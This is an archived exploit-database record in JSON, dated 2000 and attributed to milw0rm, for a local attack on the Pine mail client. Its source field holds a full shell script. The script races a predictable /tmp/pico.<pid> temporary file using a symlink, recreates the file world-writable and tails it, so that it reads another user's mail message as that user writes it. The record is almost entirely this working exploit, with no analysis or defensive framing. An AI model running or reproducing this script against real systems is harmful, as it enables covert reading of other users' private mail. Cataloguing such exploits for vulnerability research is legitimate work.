Description
Pine (Local Message Grabber) - Local Message Read
{"lastseen": "2020-04-01T19:04:42", "references": [], "description": "\nPine (Local Message Grabber) - Local Message Read", "edition": 1, "reporter": "mat", "exploitpack": {"type": "local", "platform": "linux"}, "published": "2000-12-15T00:00:00", "title": "Pine (Local Message Grabber) - Local Message Read", "type": "exploitpack", "enchantments": {"dependencies": {}, "score": {"value": 0.0, "vector": "NONE"}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.0}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2000-12-15T00:00:00", "id": "EXPLOITPACK:8D7C529E70999B0B8097590FFC8C9C1E", "href": "", "viewCount": 2, "sourceData": "#!/bin/sh\n# Grab local pine messages\n# Usage: ./mon_pine.sh <pid of pine process>\n# victim pine must use following settings\n#\n# mat@hacksware.com\n# http://hacksware.com\n#\n# [x] enable-alternate-editor-cmd\n# [x] enable-alternate-editor-implicitly\n# editor = /usr/bin/vi\n#\n\nPID=$1\nPICO_FILE=`printf \"/tmp/pico.%.6d\" $PID`\nTRASHCAN=/tmp/.trashcan.`date|sed \"s/ //g\"`\necho PICO_FILE is $PICO_FILE\n\n#if $PICO_FILE and $TRASHCAN exists, remove them\nif test -f $PICO_FILE\nthen\n rm -f $PICO_FILE\nfi\nif test -f $TRASHCAN\nthen\n rm -f $TRASHCAN\nfi\n\nln -s $TRASHCAN $PICO_FILE\nwhile :\ndo\n if test -f $TRASHCAN\n then\n break\n fi\ndone\n\necho Victim is Editing Pine Message\nrm -f $PICO_FILE\necho We replace temporary file\ntouch $PICO_FILE\nchmod 777 $PICO_FILE\necho \"Get the message from \"$PICO_FILE\necho \"^C to break tailer\"\ntail -f $PICO_FILE\n\n\n# milw0rm.com [2000-12-15]", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645703089}}
{}